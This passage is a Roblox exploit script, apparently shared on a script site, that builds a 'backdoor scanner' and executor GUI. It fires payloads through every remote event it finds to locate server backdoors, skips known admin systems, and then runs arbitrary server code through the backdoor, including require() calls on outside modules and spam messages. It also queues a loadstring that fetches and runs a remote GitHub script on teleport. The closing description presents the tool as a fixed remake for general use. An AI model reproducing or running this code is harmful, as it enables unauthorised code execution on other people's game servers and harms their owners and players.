			fromUnixTimestampMillis = "function", now = "function",
		},
		DockWidgetPluginGuiInfo = { new = "function" },
		Enum = {},
		Faces = { new = "function" },
		FloatCurveKey = { new = "function" },
		Font = { fromEnum = "function", fromId = "function", fromName = "function", new = "function" },
		Instance = { new = "function" },
		NumberRange = { new = "function" },
		NumberSequence = { new = "function" },
		NumberSequenceKeypoint = { new = "function" },
		OverlapParams = { new = "function" },
		PathWaypoint = { new = "function" },
		PhysicalProperties = { new = "function" },
		Random = { new = "function" },
		Ray = { new = "function" },
		RaycastParams = { new = "function" },
		Rect = { new = "function" },
		Region3 = { new = "function" },
		Region3int16 = { new = "function" },
		RotationCurveKey = { new = "function" },
		task = {
			cancel = "function", defer = "function", delay = "function", desynchronize = "function", spawn = "function",
			synchronize = "function", wait = "function",
		},
		TweenInfo = { new = "function" },
		UDim = { new = "function" },
		UDim2 = { fromOffset = "function", fromScale = "function", new = "function" },
		Vector2 = { new = "function", one = "Vector2", xAxis = "Vector2", yAxis = "Vector2", zero = "Vector2" },
		Vector2int16 = { new = "function" },
		Vector3 = {
			fromAxis = "function", FromAxis = "function", fromNormalId = "function", FromNormalId = "function", new = "function",
			one = "Vector3", xAxis = "Vector3", yAxis = "Vector3", zAxis = "Vector3", zero = "Vector3",
		},
		Vector3int16 = { new = "function" },
	},
}

local enumLibraryTable = language.libraries.Enum
for _, enum in ipairs(Enum:GetEnums()) do
	enumLibraryTable[tostring(enum)] = "Enum"
end

return language
end;
};

----------------------------------------------------
-- SCRIPTS RUNNERS
----------------------------------------------------

-- Highlight LocalScript
local function C_12()
local script = G2L["12"];
	local Highlighter = require(script.Highlighter)
	
	Highlighter.highlight({
		textObject=script.Parent,
	})
	
	textbox=script.Parent
	textbox.InputChanged:Connect(function()
		if textbox.Text~='' then
			textbox.TextTransparency=1
			return
		end
		textbox.TextTransparency=0
	end)
end;
task.spawn(C_12);

-- Main Controller LocalScript
local function C_20()
local script = G2L["20"];
	queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport)
	if queueteleport then
		queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()")
	end
	
	GUI=script.Parent.Frame
	
	alphabet={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}
	
	backdoor=nil
	HttpService=game:GetService("HttpService")
	
	function debug(text, lvl)
		local func=print
		if lvl==1 then func=print end
		if lvl==2 then func=error end
		if lvl==3 then func=warn end
		func('Red vn Backdoor: '..text)
	end
	
	function runRemote(remote, data, data2)
		if remote:IsA('RemoteEvent') then
			remote:FireServer(data)
		elseif remote:IsA('RemoteFunction') then
			spawn(function() remote:InvokeServer(data) end)
		end
	end
	
	function makeVisible(folder, state)
		for i,v in folder:GetDescendants() do
			if v:IsA('Frame') then 
				v.Visible=state
			end
		end
	end
	
	function notify(text)
		game:GetService('StarterGui'):SetCore(
			"SendNotification",
			{
				Title = "Red vn Backdoor",
				Duration = 6,
				Text = text
			}
		)
	end
	
	makeVisible(GUI, false)
	GUI.Scanner.Visible=true
	GUI.Visible=true
	
	function generateName(lenght)
		local text=''
		for i=1,lenght do
			text=text..alphabet[math.random(1,#alphabet)]
		end
		return text
	end
	
	local code
	function findRemote()
		local timee=os.clock()
		local remotes={}
		
		local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
		if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
			while true do
				code=generateName(math.random(12,30))
				if not remotes[code] then break end
			end
			spawn(function() protected_backdoor:InvokeServer('Red vn Hub | https://discord.gg/HbQrwAdA5', "a=Instance.new('Model',workspace)a.Name='"..code.."'") end)
			remotes[code]=protected_backdoor
		end
		
		for i,remote in game:GetDescendants() do
			if not remote:IsA('RemoteEvent') then 
				if not remote:IsA('RemoteFunction') then continue end
			end
	
			if string.split(remote:GetFullName(), '.')[1]=='RobloxReplicatedStorage' then
				debug('Roblox Replicated Storage ('..remote.Name..')', 1)
				continue
			end
	
			if remote.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent.Parent==game:GetService("ReplicatedStorage") then
				if remote:FindFirstChild('__FUNCTION') or remote.Name=='__FUNCTION' then
					debug('Adonis filter detected ('..remote.Name..')', 1)
					continue
				end
	
				if remote.Parent.Parent.Name=='HDAdminClient' and remote.Parent.Name=='Signals' then
					debug('HD Admin ('..remote.Name..')', 1)
					continue
				end
	
				if remote.Parent.Name=='DefaultChatSystemChatEvents' then
					debug('Chat event ('..remote.Name..')', 1)
					continue
				end
			end
	
			while true do
				code=generateName(math.random(12,30))
				if not remotes[code] then break end
			end
			
			runRemote(remote, "a=Instance.new('Model',workspace)a.Name='"..code.."'")
			remotes[code]=remote
			debug('Sended Backdoor "'..remote:GetFullName()..'"', 1)
		end
		
		for i=1,100 do
			for i,remote in remotes do
				local code=i
				
				if workspace:FindFirstChild(code) then
					notify('Backdoor found! '..os.clock()-timee..'s')
					backdoor=remote
					debug(remote:GetFullName(), 3)
					GUI.Scanner.Visible=false
					makeVisible(GUI.Executor, true)
	
					runRemote(remote, "require(171016405.1884*69)")			
					runRemote(remote, "a=Instance.new('Hint')a.Text='Red vn Backdoor | https://discord.gg/HbQrwAdA5 | Free and FASTEST Backdoor Scanner'while true do a.Parent=workspace;wait(15)a:Remove()wait(30)end")
					return true
				end
			end
			wait()
		end
		return false
	end
	
	-- EXECUTE FUNCTION
	GUI.Executor.Execute.Button.MouseButton1Click:Connect(function()
		local a,b=string.gsub(GUI.Executor.ExecutorBox.TextBox.Text, '%%username%%', game:GetService('Players').LocalPlayer.Name)
		local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
		if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
			debug('Protected backdoor found', 3)
			spawn(function()
				local boolValue, variantValue=pcall(function() protected_backdoor:InvokeServer('Red vn Hub | https://discord.gg/HbQrwAdA5', a) end)
				if variantValue~=nil then
					local splited=string.split(variantValue,':')
					notify(splited[#splited])
				end
			end)
		else
			runRemote(backdoor, a)
		end
		GUI.Executor.Execute.Button.Text='Executed!'
		wait(0.5)
		GUI.Executor.Execute.Button.Text='Execute'
	end)
	
	-- FE R6 FUNCTION (Chạy thẳng thông qua Remote của backdoor mà không bị lỗi require ID)
	GUI.Executor.FeR6.Button.MouseButton1Click:Connect(function()
		if not backdoor then
			notify("Hãy quét và tìm backdoor trước khi chạy Fe R6!")
			return
		end
		
		local targetUser = game:GetService('Players').LocalPlayer.Name
		local r6Payload = 'require(3436957371):r6("' .. targetUser .. '")'
		
		GUI.Executor.ExecutorBox.TextBox.Text = r6Payload
		runRemote(backdoor, r6Payload)
		
		GUI.Executor.FeR6.Button.Text = 'Executed R6!'
		wait(0.5)
		GUI.Executor.FeR6.Button.Text = 'Fe R6'
	end)
	
	-- CLEAR FUNCTION
	GUI.Executor.Clear.Button.MouseButton1Click:Connect(function()
		GUI.Executor.ExecutorBox.TextBox.Text=''
		GUI.Executor.Clear.Button.Text='Cleared!'
		wait(0.5)
		GUI.Executor.Clear.Button.Text='Clear'
	end)
	
	searching=false
	
	GUI.Scanner.Button.MouseButton1Click:Connect(function()
		if not searching then
			searching=true
			debug('Scanning...', 3)
			GUI.Scanner.Button.Text='Scanning...'
			if not findRemote() then
				GUI.Scanner.Button.Text='No backdoor found :('
				searching=false
			end
		end
	end)
	
	game:GetService('UserInputService').InputBegan:Connect(function(input, processed)
		if (input.KeyCode == Enum.KeyCode.LeftAlt and not processed) then
			if GUI.Visible then GUI.Visible=false
			else GUI.Visible=true end
		end
	end)
end;
task.spawn(C_20);

-- Dragify LocalScript (Hỗ trợ kéo thả mượt mà)
local function C_21()
local script = G2L["21"];
	local UIS = game:GetService("UserInputService")
	function dragify(Frame)
		dragToggle = nil
		local dragSpeed = 0.33
		dragInput = nil
		dragStart = nil
		local dragPos = nil
		function updateInput(input)
			local Delta = input.Position - dragStart
			local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
			game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.15), {Position = Position}):Play()
		end
		Frame.InputBegan:Connect(function(input)
			if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then
				dragToggle = true
				dragStart = input.Position
				startPos = Frame.Position
				input.Changed:Connect(function()
					if input.UserInputState == Enum.UserInputState.End then
						dragToggle = false
					end
				end)
			end
		end)
		Frame.InputChanged:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
				dragInput = input
			end
		end)
		game:GetService("UserInputService").InputChanged:Connect(function(input)
			if input == dragInput and dragToggle then
				updateInput(input)
			end
		end)
	end
	
	dragify(script.Parent.Frame)
end;
task.spawn(C_21);

return G2L["1"], require;

Features & Information

Halol Hub Backdoor [VNG / R6 Remake]. Original script was discontinued/shut down. I have completely remade this version, fixed all bugs for Roblox VNG, and added full R6 Animation support!
#Vng

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts